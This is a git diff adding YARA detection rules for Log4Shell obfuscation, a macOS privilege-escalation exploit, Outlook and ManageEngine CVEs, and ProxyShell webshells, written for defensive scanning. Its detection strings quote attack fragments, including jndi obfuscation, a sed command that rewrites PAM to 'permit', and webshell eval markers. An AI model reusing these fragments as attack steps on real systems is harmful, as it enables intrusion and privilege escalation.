+}
+
+rule SUSP_EXPL_OBFUSC_Dec21_1{
+   meta:
+      description = "Detects obfuscation methods used to evade detection in log4j exploitation attempt of CVE-2021-44228"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/testanull/status/1469549425521348609"
+      date = "2021-12-11"
+      modified = "2022-11-08"
+      score = 60
+      id = "b8f56711-7922-54b9-9ce2-6ba05d64c80d"
+   strings:
+      /* ${lower:X} - single character match */
+      $f1 = { 24 7B 6C 6F 77 65 72 3A ?? 7D }
+      /* ${upper:X} - single character match */
+      $f2 = { 24 7B 75 70 70 65 72 3A ?? 7D }
+      /* URL encoded lower - obfuscation in URL */
+      $x3 = "$%7blower:"
+      $x4 = "$%7bupper:"
+      $x5 = "%24%7bjndi:"
+      $x6 = "$%7Blower:"
+      $x7 = "$%7Bupper:"
+      $x8 = "%24%7Bjndi:"
+
+      $fp1 = "<html"
+   condition:
+      ( 
+         1 of ($x*) or 
+         filesize < 200KB and 1 of ($f*) 
+      ) 
+      and not 1 of ($fp*)
+}
+
+rule SUSP_JDNIExploit_Error_Indicators_Dec21_1 {
+   meta:
+      description = "Detects error messages related to JDNI usage in log files that can indicate a Log4Shell / Log4j exploitation"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/marcioalm/status/1470361495405875200?s=20"
+      date = "2021-12-10"
+      modified = "2023-06-23"
+      score = 70
+      id = "68bcf043-58b4-54a9-b024-64871b5d535f"
+   strings:
+      $x1 = "FATAL log4j - Message: BadAttributeValueException: "
+   condition:
+      1 of them
+}
diff --git a/yara-Neo23x0/expl_macos_switcharoo_dec22.yar b/yara-Neo23x0/expl_macos_switcharoo_dec22.yar
new file mode 100644
index 0000000..235f2cd
--- /dev/null
+++ b/yara-Neo23x0/expl_macos_switcharoo_dec22.yar
@@ -0,0 +1,54 @@
+
+rule EXPL_HKTL_macOS_Switcharoo_CVE_2022_46689_Dec22 {
+   meta:
+      description = "Detects POCs that exploit privilege escalation vulnerability CVE-2022-46689 on macOS"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2022-12-19"
+      score = 80
+      hash1 = "64acd79a37b6f8443250dd33e95bd933ee39fc6d4f35ba6a987dae878d017386"
+      hash2 = "6c2ace75000de8a7e8786f28b1b41eed72816991a0961475c6800753bfe9278c"
+      hash3 = "6ce080b236ea3aa3b4c992d12af99445ab800abc709c6abbef852a9f0cf219b6"
+      hash4 = "83cc4d72686aedf5218f07e60e759b4849b368975b70352dbba6fac4e8cde72b"
+      hash5 = "a7b7fcfd609ff653d32c133417c0d3ffd9f581fb6de05ddbdead4d36cb6e3cc2"
+      hash6 = "b2a97edb0ddc30ecc1a0b0c0739820bbef787394b44ab997393475de2ebf7b60"
+      hash7 = "c7a64c6da5cf5046ae5c683d0264a32027110a2736b4c1b0df294e29a061a865"
+      hash8 = "d517cde0d45e6930336538c89b310d5d540a66c921bf6f6f9b952e721b2f6a11"
+      hash9 = "d53a559ea9131fe42eacf51431da3adde5a8fd5c2f3198f0d5451ef62ed33888"
+      id = "25c551f7-48ae-5e71-b86e-68fb440262e5"
+   strings:
+      $x1 = "vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d" ascii fullword
+      $x2 = "Execting: %s (posix_spawn returned: %d)" ascii fullword
+      $x3 = "/usr/bin/sed -e \"s/rootok/permit/g\" /etc" ascii fullword
+      $x4 = "vm_unaligned_copy_switch_race" ascii fullword
+      
+      $s1 = "RO mapping was modified" ascii fullword
+      $s2 = "Ran %d times in %ld seconds with no failure" ascii fullword
+
+      $opa1 = { 4c 89 ee 31 c9 41 b8 00 40 00 00 6a 01 41 5c 41 54 6a 03 58 }
+      $opa2 = { e8 ?? 01 00 00 48 8b 05 ?? 0? 00 00 8b 38 48 8b 13 44 8b 4b 14 48 83 ec 08 4c 89 ee 31 c9 }
+      $opa3 = { 48 89 45 c8 48 8d 43 08 48 89 45 d0 4c 8b 7d c8 4c 8b 6d d0 6a 64 41 5e 80 7b 60 00 }
+
+      $opb1 = { 55 48 89 e5 48 83 ec 60 48 8b 05 ?1 06 00 00 48 8b 00 48 89 45 f8 0f 28 05 ?b 07 00 00 48 8d 75 d0 }
+   condition:
+      ( filesize < 400KB and 1 of ($x*) ) or
+      (
+         ( uint16(0) == 0xfacf or ( uint16(0) == 0xfeca or uint16(0) == 0xfacf or uint32(0) == 0xbebafeca ) ) and 
+         filesize < 400KB and
+         2 of them
+      )
+}
+
+rule EXPL_macOS_Switcharoo_Indicator_Dec22 {
+   meta:
+      description = "Detects indicators found after exploitations of CVE-2022-46689"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/zhuowei/MacDirtyCowDemo"
+      date = "2022-12-19"
+      score = 65
+      id = "d5d9559a-c19c-5ddc-9d72-701986a9d7ac"
+   strings:
+      $x1 = "auth       sufficient     pam_permit.so" ascii
+   condition:
+      filesize < 1KB and $x1
+}
diff --git a/yara-Neo23x0/expl_manageengine_jan23.yar b/yara-Neo23x0/expl_manageengine_jan23.yar
new file mode 100644
index 0000000..ee7e71e
--- /dev/null
+++ b/yara-Neo23x0/expl_manageengine_jan23.yar
@@ -0,0 +1,15 @@
+
+rule EXPL_ManageEngine_CVE_2022_47966_Jan23_1 {
+   meta:
+      description = "Detects indicators of exploitation of ManageEngine vulnerability as described by Horizon3"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.horizon3.ai/manageengine-cve-2022-47966-iocs/"
+      date = "2023-01-13"
+      score = 75
+      id = "07535b9c-8611-5a46-bcd7-f94070de2aea"
+   strings:
+      $ = "]: com.adventnet.authentication.saml.SamlException: Signature validation failed. SAML Response rejected|"
+   condition:
+      1 of them
+}
+
diff --git a/yara-Neo23x0/expl_outlook_cve_2023_23397.yar b/yara-Neo23x0/expl_outlook_cve_2023_23397.yar
new file mode 100644
index 0000000..d23ab5f
--- /dev/null
+++ b/yara-Neo23x0/expl_outlook_cve_2023_23397.yar
@@ -0,0 +1,110 @@
+rule SUSP_EXPL_Msg_CVE_2023_23397_Mar23 {
+   meta:
+      description = "MSG file with a PidLidReminderFileParameter property, potentially exploiting CVE-2023-23397"
+      author = "delivr.to, modified by Florian Roth, Nils Kuhnert, Arnim Rupp, marcin@ulikowski.pl"
+      date = "2023-03-15"
+      modified = "2023-03-17"
+      score = 60
+      reference = "https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/"
+      hash = "47fee24586cd2858cfff2dd7a4e76dc95eb44c8506791ccc2d59c837786eafe3"
+      hash = "582442ee950d546744f2fa078adb005853a453e9c7f48c6c770e6322a888c2cf"
+      hash = "6c0087a5cbccb3c776a471774d1df10fe46b0f0eb11db6a32774eb716e1b7909"
+      hash = "7fb7a2394e03cc4a9186237428a87b16f6bf1b66f2724aea1ec6a56904e5bfad"
+      hash = "eedae202980c05697a21a5c995d43e1905c4b25f8ca2fff0c34036bc4fd321fa"
+      id = "0a4d7bbe-1e17-5240-ad0f-29511752b267"
+   strings:
+      /* https://interoperability.blob.core.windows.net/files/MS-OXPROPS/%5bMS-OXPROPS%5d.pdf */
+      /* PSETID_Appointment */
+      $psetid_app = { 02 20 06 00 00 00 00 00 C0 00 00 00 00 00 00 46 }
+      /* PSETID_Meeting */
+      $psetid_meeting = { 90 DA D8 6E 0B 45 1B 10 98 DA 00 AA 00 3F 13 05 }
+      /* PSETID Task */
+      $psetid_task = { 03 20 06 00 00 00 00 00 c0 00 00 00 00 00 00 46 }
+
+      /* PidLidReminderFileParameter */
+      $rfp = { 1F 85 00 00 }
+      /* \\ UNC path prefix - wide formatted */
+      $u1 = { 00 00 5C 00 5C 00 }
+      /* not MSI */
+      $fp_msi1 = {84 10 0C 00 00 00 00 00 C0 00 00 00 00 00 00 46}
+   condition:
+      uint32be(0) == 0xD0CF11E0
+      and uint32be(4) == 0xA1B11AE1
+      and 1 of ($psetid*)
+      and $rfp
+      and $u1
+      and not 1 of ($fp*)
+}
+
+rule EXPL_SUSP_Outlook_CVE_2023_23397_Exfil_IP_Mar23 {
+   meta:
+      description = "Detects suspicious .msg file with a PidLidReminderFileParameter property exploiting CVE-2023-23397 (modified delivr.to rule - more specific = less FPs but limited to exfil using IP addresses, not FQDNs)"
+      author = "delivr.to, Florian Roth, Nils Kuhnert, Arnim Rupp, marcin@ulikowski.pl"
+      date = "2023-03-15"
+      modified = "2023-03-18"
+      score = 75
+      reference = "https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/"
+      hash = "47fee24586cd2858cfff2dd7a4e76dc95eb44c8506791ccc2d59c837786eafe3"
+      hash = "582442ee950d546744f2fa078adb005853a453e9c7f48c6c770e6322a888c2cf"
+      hash = "6c0087a5cbccb3c776a471774d1df10fe46b0f0eb11db6a32774eb716e1b7909"
+      hash = "7fb7a2394e03cc4a9186237428a87b16f6bf1b66f2724aea1ec6a56904e5bfad"
+      hash = "eedae202980c05697a21a5c995d43e1905c4b25f8ca2fff0c34036bc4fd321fa"
+      hash = "e7a1391dd53f349094c1235760ed0642519fd87baf740839817d47488b9aef02"
+      id = "d85bf1d9-aebe-5f8c-9dd4-c509f64e221a"
+   strings:
+      /* https://interoperability.blob.core.windows.net/files/MS-OXPROPS/%5bMS-OXPROPS%5d.pdf */
+      /* PSETID_Appointment */
+      $psetid_app = { 02 20 06 00 00 00 00 00 C0 00 00 00 00 00 00 46 }
+      /* PSETID_Meeting */
+      $psetid_meeting = { 90 DA D8 6E 0B 45 1B 10 98 DA 00 AA 00 3F 13 05 }
+      /* PSETID Task */
+      $psetid_task = { 03 20 06 00 00 00 00 00 c0 00 00 00 00 00 00 46 }
+      /* PidLidReminderFileParameter */
+      $rfp = { 1F 85 00 00 }
+      /* \\ + IP UNC path prefix - wide formatted */
+      $u1 = { 5C 00 5C 00 (3? 00 2E|3? 00 3? 00 2E|3? 00 3? 00 3? 00 2E) 00 (3? 00 2E|3? 00 3? 00 2E|3? 00 3? 00 3? 00 2E) 00 (3? 00 2E|3? 00 3? 00 2E|3? 00 3? 00 3? 00 2E) 00 (3? 00 3? 00 3? 00|3? 00 3? 00|3? 00) }
+      /* \\ + IP UNC path prefix - regular/ascii formatted for Transport Neutral Encapsulation Format */
+      $u2 = { 00 5C 5C (3? 2E|3? 3? 2E|3? 3? 3? 2E) (3? 2E|3? 3? 2E|3? 3? 3? 2E) (3? 2E|3? 3? 2E|3? 3? 3? 2E) (3? 3? 3?|3? 3?|3?) }
+      /* not MSI */
+      $fp_msi1 = {84 10 0C 00 00 00 00 00 C0 00 00 00 00 00 00 46}
+   condition:
+      (
+         uint16(0) == 0xCFD0 and 1 of ($psetid*)
+         or
+         uint32be(0) == 0x789F3E22
+      )
+      and any of ( $u* )
+      and $rfp
+      and not 1 of ($fp*)
+}
+
+rule EXPL_SUSP_Outlook_CVE_2023_23397_SMTP_Mail_Mar23 {
+   meta:
+      author = "Nils Kuhnert"
+      date = "2023-03-17"
+      modified = "2023-03-24"
+      description = "Detects suspicious *.eml files that include TNEF content that possibly exploits CVE-2023-23397. Lower score than EXPL_SUSP_Outlook_CVE_2023_23397_Exfil_IP_Mar23 as we're only looking for UNC prefix."
+      score = 60
+      reference = "https://twitter.com/wdormann/status/1636491612686622723"
+      id = "922fae73-520d-5659-8331-f242c7c55810"
+   strings:
+      // From:
+      $mail1 = { 0A 46 72 6F 6D 3A 20 }
+      // To: 
+      $mail2 = { 0A 54 6F 3A }
+      // Received:
+      $mail3 = { 0A 52 65 63 65 69 76 65 64 3A }
+
+      // Indicates that attachment is TNEF
+      $tnef1 = "Content-Type: application/ms-tnef" ascii
+      $tnef2 = "\x78\x9f\x3e\x22" base64
+
+      // Check if it's an IPM.Task or IPM.Appointment
+      $ipm1 = "IPM.Task" base64
+      $ipm2 = "IPM.Appointment" base64
+
+      // UNC prefix in TNEF
+      $unc = "\x00\x00\x00\x5c\x5c" base64
+   condition:
+      all of ($mail*) and all of ($tnef*) and 1 of ($ipm*) and $unc
+}
diff --git a/yara-Neo23x0/expl_outlook_cve_2024_21413.yar b/yara-Neo23x0/expl_outlook_cve_2024_21413.yar
new file mode 100644
index 0000000..984fd36
--- /dev/null
+++ b/yara-Neo23x0/expl_outlook_cve_2024_21413.yar
@@ -0,0 +1,20 @@
+
+rule EXPL_CVE_2024_21413_Microsoft_Outlook_RCE_Feb24 {
+   meta:
+      description = "Detects emails that contain signs of a method to exploit CVE-2024-21413 in Microsoft Outlook"
+      author = "X__Junior, Florian Roth"
+      reference = "https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability/"
+      date = "2024-02-17"
+      modified = "2024-02-19"
+      score = 75
+      id = "4512ca7b-0755-565e-84f1-596552949aa5"
+   strings:
+      $a1 = "Subject: "
+      $a2 = "Received: "
+
+      $xr1 = /file:\/\/\/\\\\[^"']{6,600}\.(docx|txt|pdf|xlsx|pptx|odt|etc|jpg|png|gif|bmp|tiff|svg|mp4|avi|mov|wmv|flv|mkv|mp3|wav|aac|flac|ogg|wma|exe|msi|bat|cmd|ps1|zip|rar|7z|targz|iso|dll|sys|ini|cfg|reg|html|css|java|py|c|cpp|db|sql|mdb|accdb|sqlite|eml|pst|ost|mbox|htm|php|asp|jsp|xml|ttf|otf|woff|woff2|rtf|chm|hta|js|lnk|vbe|vbs|wsf|xls|xlsm|xltm|xlt|doc|docm|dot|dotm)!/
+   condition:
+      filesize < 1000KB
+      and all of ($a*)
+      and 1 of ($xr*)
+}
diff --git a/yara-Neo23x0/expl_proxynotshell_owassrf_dec22.yar b/yara-Neo23x0/expl_proxynotshell_owassrf_dec22.yar
new file mode 100644
index 0000000..f0786e3
--- /dev/null
+++ b/yara-Neo23x0/expl_proxynotshell_owassrf_dec22.yar
@@ -0,0 +1,87 @@
+
+rule EXPL_LOG_ProxyNotShell_OWASSRF_PowerShell_Proxy_Log_Dec22_1 {
+   meta:
+      description = "Detects traces of exploitation activity in relation to ProxyNotShell MS Exchange vulnerabilities CVE-2022-41040 and CVE-2022-41082"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.crowdstrike.com/blog/owassrf-exploit-analysis-and-recommendations/"
+      date = "2022-12-22"
+      score = 70
+      id = "a61f6582-474f-5b6f-b8f5-329c0bcc4017"
+   strings:
+      $s1 = "/owa/mastermailbox%40outlook.com/powershell" ascii wide
+
+      $sa1 = " 200 " ascii wide
+      $sa2 = " POST " ascii wide
+
+      // based on filters found in CrowdStrikes script https://github.com/CrowdStrike/OWASSRF/blob/main/Rps_Http-IOC.ps1
+      $fp1 = "ClientInfo" ascii wide fullword
+      $fp2 = "Microsoft WinRM Client" ascii wide fullword
+      $fp3 = "Exchange BackEnd Probes" ascii wide fullword
+   condition:
+      all of ($s*) and not 1 of ($fp*)
+}
+
+rule EXPL_LOG_ProxyNotShell_OWASSRF_PowerShell_Proxy_Log_Dec22_2 {
+   meta:
+      description = "Detects traces of exploitation activity in relation to ProxyNotShell MS Exchange vulnerabilities CVE-2022-41040 and CVE-2022-41082"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.crowdstrike.com/blog/owassrf-exploit-analysis-and-recommendations/"
+      date = "2022-12-22"
+      score = 60
+      id = "85722997-fd28-51cf-817e-7a314e284b0b"
+   strings:
+      $sr1 = / \/owa\/[^\/\s]{1,30}(%40|@)[^\/\s\.]{1,30}\.[^\/\s]{2,3}\/powershell / ascii wide
+
+      $sa1 = " 200 " ascii wide
+      $sa2 = " POST " ascii wide
+
+      // based on filters found in CrowdStrikes script https://github.com/CrowdStrike/OWASSRF/blob/main/Rps_Http-IOC.ps1
+      $fp1 = "ClientInfo" ascii wide fullword
+      $fp2 = "Microsoft WinRM Client" ascii wide fullword
+      $fp3 = "Exchange BackEnd Probes" ascii wide fullword
+   condition:
+      all of ($s*)
+      and not 1 of ($fp*)
+}
+
+rule EXPL_LOG_ProxyNotShell_OWASSRF_PowerShell_Proxy_Log_Dec22_3 {
+   meta:
+      description = "Detects traces of exploitation activity in relation to ProxyNotShell MS Exchange vulnerabilities CVE-2022-41040 and CVE-2022-41082"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.crowdstrike.com/blog/owassrf-exploit-analysis-and-recommendations/"
+      date = "2022-12-22"
+      score = 60
+      id = "76dd786e-daaa-5cd9-8e3e-50d9eab7f9d2"
+   strings:
+      $sa1 = " POST /powershell - 444 " ascii wide
+      $sa2 = " POST /Powershell - 444 " ascii wide
+      $sb1 = " - 200 0 0 2" ascii wide
+
+      // based on filters found in CrowdStrikes script https://github.com/CrowdStrike/OWASSRF/blob/main/Rps_Http-IOC.ps1
+      $fp1 = "ClientInfo" ascii wide fullword
+      $fp2 = "Microsoft WinRM Client" ascii wide fullword
+      $fp3 = "Exchange BackEnd Probes" ascii wide fullword
+   condition:
+      1 of ($sa*) and $sb1 and not 1 of ($fp*)
+}
+
+rule EXPL_LOG_ProxyNotShell_PowerShell_Proxy_Log_Dec22_1 {
+   meta:
+      description = "Detects traces of exploitation activity in relation to ProxyNotShell MS Exchange vulnerabilities CVE-2022-41040 and CVE-2022-41082"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.crowdstrike.com/blog/owassrf-exploit-analysis-and-recommendations/"
+      date = "2022-12-22"
+      modified = "2023-01-26"
+      score = 70
+      id = "5af3ae70-8897-593f-a413-82ca1d1ba961"
+   strings:
+      $re1 = /,\/[Pp][Oo][Ww][Ee][Rr][Ss][Hh][Ee][Ll][Ll][^\n]{0,50},Kerberos,true,[^\n]{0,50},200,0,,,,[^\n]{0,2000};OnEndRequest\.End\.ContentType=application\/soap\+xml charset UTF-8;S:ServiceCommonMetadata\.HttpMethod=POST;/ ascii wide
+
+      // based on filters found in CrowdStrikes script https://github.com/CrowdStrike/OWASSRF/blob/main/Rps_Http-IOC.ps1
+      $fp1 = "ClientInfo" ascii wide fullword
+      $fp2 = "Microsoft WinRM Client" ascii wide fullword
+      $fp3 = "Exchange BackEnd Probes" ascii wide fullword
+   condition:
+      $re1 and not 1 of ($fp*)
+}
+
diff --git a/yara-Neo23x0/expl_proxyshell.yar b/yara-Neo23x0/expl_proxyshell.yar
new file mode 100644
index 0000000..f97b26c
--- /dev/null
+++ b/yara-Neo23x0/expl_proxyshell.yar
@@ -0,0 +1,266 @@
+
+rule EXPL_Exchange_ProxyShell_Failed_Aug21_1 : SCRIPT {
+   meta:
+      description = "Detects ProxyShell exploitation attempts in log files"
+      author = "Florian Roth (Nextron Systems)"
+      score = 50
+      reference = "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html"
+      date = "2021-08-08"
+      modified = "2021-08-09"
+      id = "9b849042-8918-5322-a35a-2165d4b541d5"
+   strings:
+      $xr1 = / \/autodiscover\/autodiscover\.json[^\n]{1,300}\/(powershell|mapi\/nspi|EWS\/|X-Rps-CAT)[^\n]{1,400}401 0 0/ nocase ascii
+      $xr3 = /Email=autodiscover\/autodiscover\.json[^\n]{1,400}401 0 0/ nocase ascii
+   condition:
+      1 of them
+}
+
+rule EXPL_Exchange_ProxyShell_Successful_Aug21_1 : SCRIPT {
+   meta:
+      description = "Detects successful ProxyShell exploitation attempts in log files"
+      author = "Florian Roth (Nextron Systems)"
+      score = 85
+      reference = "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html"
+      date = "2021-08-08"
+      modified = "2021-08-09"
+      id = "8c11cd1a-6d3f-5f29-af61-17179b01ca8b"
+   strings:
+      $xr1a = / \/autodiscover\/autodiscover\.json[^\n]{1,300}\/(powershell|X-Rps-CAT)/ nocase ascii
+      $xr1b = / \/autodiscover\/autodiscover\.json[^\n]{1,300}\/(mapi\/nspi|EWS\/)[^\n]{1,400}(200|302) 0 0/ 
+      $xr2 = /autodiscover\/autodiscover\.json[^\n]{1,60}&X-Rps-CAT=/ nocase ascii
+      $xr3 = /Email=autodiscover\/autodiscover\.json[^\n]{1,400}200 0 0/ nocase ascii
+   condition:
+      1 of them
+}
+
+rule WEBSHELL_ASPX_ProxyShell_Aug21_2 {
+   meta:
+      description = "Detects webshells dropped by ProxyShell exploitation based on their file header (must be PST), size and content"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.bleepingcomputer.com/news/microsoft/microsoft-exchange-servers-are-getting-hacked-via-proxyshell-exploits/"
+      date = "2021-08-13"
+      id = "a351a466-695e-570e-8c7f-9c6c0534839c"
+   strings:
+      $s1 = "Page Language=" ascii nocase
+   condition:
+      uint32(0) == 0x4e444221 /* PST header: !BDN */
+      and filesize < 2MB
+      and $s1
+}
+
+rule WEBSHELL_ASPX_ProxyShell_Aug21_3 {
+   meta:
+      description = "Detects webshells dropped by ProxyShell exploitation based on their file header (must be DER), size and content"
+      author = "Max Altgelt"
+      reference = "https://twitter.com/gossithedog/status/1429175908905127938?s=12"
+      date = "2021-08-23"
+      score = 75
+      id = "a7bca62b-c8f1-5a38-81df-f3d4582a590b"
+   strings:
+      $s1 = "Page Language=" ascii nocase
+   condition:
+      uint16(0) == 0x8230 /* DER start */
+      and filesize < 10KB
+      and $s1
+}
+
+rule WEBSHELL_ASPX_ProxyShell_Sep21_1 { 
+   meta:
+      description = "Detects webshells dropped by ProxyShell exploitation based on their file header (must be PST) and base64 decoded request"
+      author = "Tobias Michalski"
+      date = "2021-09-17"
+      reference = "Internal Research"
+      hash = "219468c10d2b9d61a8ae70dc8b6d2824ca8fbe4e53bbd925eeca270fef0fd640"
+      score = 75
+      id = "d0d23e17-6b6a-51d1-afd9-59cc2404bcd8"
+   strings:
+      $s = ".FromBase64String(Request["
+   condition:
+      uint32(0) == 0x4e444221
+      and any of them
+}
+
+rule APT_IIS_Config_ProxyShell_Artifacts {
+   meta:
+      description = "Detects virtual directory configured in IIS pointing to a ProgramData folder (as found in attacks against Exchange servers in August 2021)"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.huntress.com/blog/rapid-response-microsoft-exchange-servers-still-vulnerable-to-proxyshell-exploit"
+      date = "2021-08-25"
+      score = 90
+      id = "21888fc0-82c6-555a-9320-9cbb8332a843"
+   strings:
+      $a1 = "<site name=" ascii /* marker used to select IIS configs */
+      $a2 = "<sectionGroup name=\"system.webServer\">" ascii
+
+      $sa1 = " physicalPath=\"C:\\ProgramData\\COM" ascii
+      $sa2 = " physicalPath=\"C:\\ProgramData\\WHO" ascii
+      $sa3 = " physicalPath=\"C:\\ProgramData\\ZING" ascii
+      $sa4 = " physicalPath=\"C:\\ProgramData\\ZOO" ascii
+      $sa5 = " physicalPath=\"C:\\ProgramData\\XYZ" ascii
+      $sa6 = " physicalPath=\"C:\\ProgramData\\AUX" ascii
+      $sa7 = " physicalPath=\"C:\\ProgramData\\CON\\" ascii
+
+      $sb1 = " physicalPath=\"C:\\Users\\All Users\\" ascii
+   condition:
+      filesize < 500KB and all of ($a*) and 1 of ($s*)
+}
+
+rule WEBSHELL_ASPX_ProxyShell_Exploitation_Aug21_1 {
+   meta:
+      description = "Detects unknown malicious loaders noticed in August 2021"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/VirITeXplorer/status/1430206853733097473"
+      date = "2021-08-25"
+      score = 90
+      id = "1fa563fc-c91c-5f4e-98f1-b895e1acb4f4"
+   strings:
+      $x1 = ");eval/*asf" ascii
+   condition:
+      filesize < 600KB and 1 of them
+}
+
+rule WEBSHELL_ASPX_ProxyShell_Aug15 {
+   meta:
+      description = "Webshells iisstart.aspx and Logout.aspx"
+      author = "Moritz Oettle"
+      reference = "https://github.com/hvs-consulting/ioc_signatures/tree/main/Proxyshell"
+      date = "2021-09-04"
+      score = 75
+      id = "b1e6c0f3-787f-59b8-8123-4045522047ca"
+   strings:
+      $g1 = "language=\"JScript\"" ascii
+      $g2 = "function getErrorWord" ascii
+      $g3 = "errorWord" ascii
+      $g4 = "Response.Redirect" ascii
+      $g5 = "function Page_Load" ascii
+      $g6 = "runat=\"server\"" ascii
+      $g7 = "Request[" ascii
+      $g8 = "eval/*" ascii
+
+      $s1 = "AppcacheVer" ascii /* HTTP Request Parameter */
+      $s2 = "clientCode" ascii /* HTTP Request Parameter */
+      $s3 = "LaTkWfI64XeDAXZS6pU1KrsvLAcGH7AZOQXjrFkT816RnFYJQR" ascii
+   condition:
+      filesize < 1KB and
+      ( 1 of ($s*) or 4 of ($g*) )
+}
+
+rule WEBSHELL_Mailbox_Export_PST_ProxyShell_Aug26 {
+   meta:
+      description = "Webshells generated by an Mailbox export to PST and stored as aspx: 570221043.aspx 689193944.aspx luifdecggoqmansn.aspx"
+      author = "Moritz Oettle"
+      reference = "https://github.com/hvs-consulting/ioc_signatures/tree/main/Proxyshell"
+      date = "2021-09-04"
+      score = 85
+      id = "6aea414f-d27c-5202-84f8-b8620782fc90"
+   strings:
+      $x1 = "!BDN" /* PST file header */
+
+      $g1 = "Page language=" ascii
+      $g2 = "<%@ Page" ascii
+      $g3 = "Request.Item[" ascii
+      $g4 = "\"unsafe\");" ascii
+      $g5 = "<%eval(" ascii
+      $g6 = "script language=" ascii
+      $g7 = "Request[" ascii
+
+      $s1 = "gold8899" ascii /* HTTP Request Parameter */
+      $s2 = "exec_code" ascii /* HTTP Request Parameter */
+      $s3 = "orangenb" ascii /* HTTP Request Parameter */
+   condition:
+      filesize < 500KB and
+      $x1 at 0 and
+      ( 1 of ($s*) or 3 of ($g*) )
+}
+
+
+/* 
+   Hunting Rules 
+*/
+
+rule SUSP_IIS_Config_ProxyShell_Artifacts {
+   meta:
+      description = "Detects suspicious virtual directory configured in IIS pointing to a ProgramData folder (as found in attacks against Exchange servers in August 2021)"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.huntress.com/blog/rapid-response-microsoft-exchange-servers-still-vulnerable-to-proxyshell-exploit"
+      date = "2021-08-25"
+      score = 70
+      id = "bde65d9e-b17d-5746-8d29-8419363d0511"
+   strings:
+      $a1 = "<site name=" ascii /* marker used to select IIS configs */
+      $a2 = "<sectionGroup name=\"system.webServer\">" ascii
+
+      $s1 = " physicalPath=\"C:\\ProgramData\\" ascii
+   condition:
+      filesize < 500KB and all of ($a*) and 1 of ($s*)
+}
+
+rule SUSP_IIS_Config_VirtualDir {
+   meta:
+      description = "Detects suspicious virtual directory configured in IIS pointing to a User folder"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.huntress.com/blog/rapid-response-microsoft-exchange-servers-still-vulnerable-to-proxyshell-exploit"
+      date = "2021-08-25"
+      modified = "2022-09-17"
+      score = 60
+      id = "cfe5ca5e-a0cc-5f60-84d2-1b0538e999c7"
+   strings:
+      $a1 = "<site name=" ascii /* marker used to select IIS configs */
+      $a2 = "<sectionGroup name=\"system.webServer\">" ascii
+
+      $s2 = " physicalPath=\"C:\\Users\\" ascii
+
+      $fp1 = "Microsoft.Web.Administration" wide
+      $fp2 = "<virtualDirectory path=\"/\" physicalPath=\"C:\\Users\\admin\\"
+   condition:
+      filesize < 500KB and all of ($a*) and 1 of ($s*)
+      and not 1 of ($fp*)
+}
+
+rule SUSP_ASPX_PossibleDropperArtifact_Aug21 {
+   meta:
+      description = "Detects an ASPX file with a non-ASCII header, often a result of MS Exchange drop techniques"
+      reference = "Internal Research"
+      author = "Max Altgelt"
+      date = "2021-08-23"
+      score = 60
+      id = "52016598-74a1-53d6-812a-40b078ba0bb9"
+   strings:
+      $s1 = "Page Language=" ascii nocase
+
+      $fp1 = "Page Language=\"java\"" ascii nocase
+   condition:
+      filesize < 500KB
+      and not uint16(0) == 0x4B50 and not uint16(0) == 0x6152 and not uint16(0) == 0x8b1f // Exclude ZIP / RAR / GZIP files (can cause FPs when uncompressed)
+      and not uint16(0) == 0x5A4D // PE
+      and not uint16(0) == 0xCFD0 // OLE
+      and not uint16(0) == 0xC3D4 // PCAP
+      and not uint16(0) == 0x534D // CAB
+      and all of ($s*) and not 1 of ($fp*) and
+      (
+         ((uint8(0) < 0x20 or uint8(0) > 0x7E /*non-ASCII*/ ) and uint8(0) != 0x9 /* tab */ and uint8(0) != 0x0D /* carriage return */ and uint8(0) != 0x0A /* new line */ and uint8(0) != 0xEF /* BOM UTF-8 */)
+         or ((uint8(1) < 0x20 or uint8(1) > 0x7E /*non-ASCII*/ ) and uint8(1) != 0x9 /* tab */ and uint8(1) != 0x0D /* carriage return */ and uint8(1) != 0x0A /* new line */ and uint8(1) != 0xBB /* BOM UTF-8 */)
+         or ((uint8(2) < 0x20 or uint8(2) > 0x7E /*non-ASCII*/ ) and uint8(2) != 0x9 /* tab */ and uint8(2) != 0x0D /* carriage return */ and uint8(2) != 0x0A /* new line */ and uint8(2) != 0xBF /* BOM UTF-8 */)
+         or ((uint8(3) < 0x20 or uint8(3) > 0x7E /*non-ASCII*/ ) and uint8(3) != 0x9 /* tab */ and uint8(3) != 0x0D /* carriage return */ and uint8(3) != 0x0A /* new line */)
+         or ((uint8(4) < 0x20 or uint8(4) > 0x7E /*non-ASCII*/ ) and uint8(4) != 0x9 /* tab */ and uint8(4) != 0x0D /* carriage return */ and uint8(4) != 0x0A /* new line */)
+         or ((uint8(5) < 0x20 or uint8(5) > 0x7E /*non-ASCII*/ ) and uint8(5) != 0x9 /* tab */ and uint8(5) != 0x0D /* carriage return */ and uint8(5) != 0x0A /* new line */)
+         or ((uint8(6) < 0x20 or uint8(6) > 0x7E /*non-ASCII*/ ) and uint8(6) != 0x9 /* tab */ and uint8(6) != 0x0D /* carriage return */ and uint8(6) != 0x0A /* new line */)
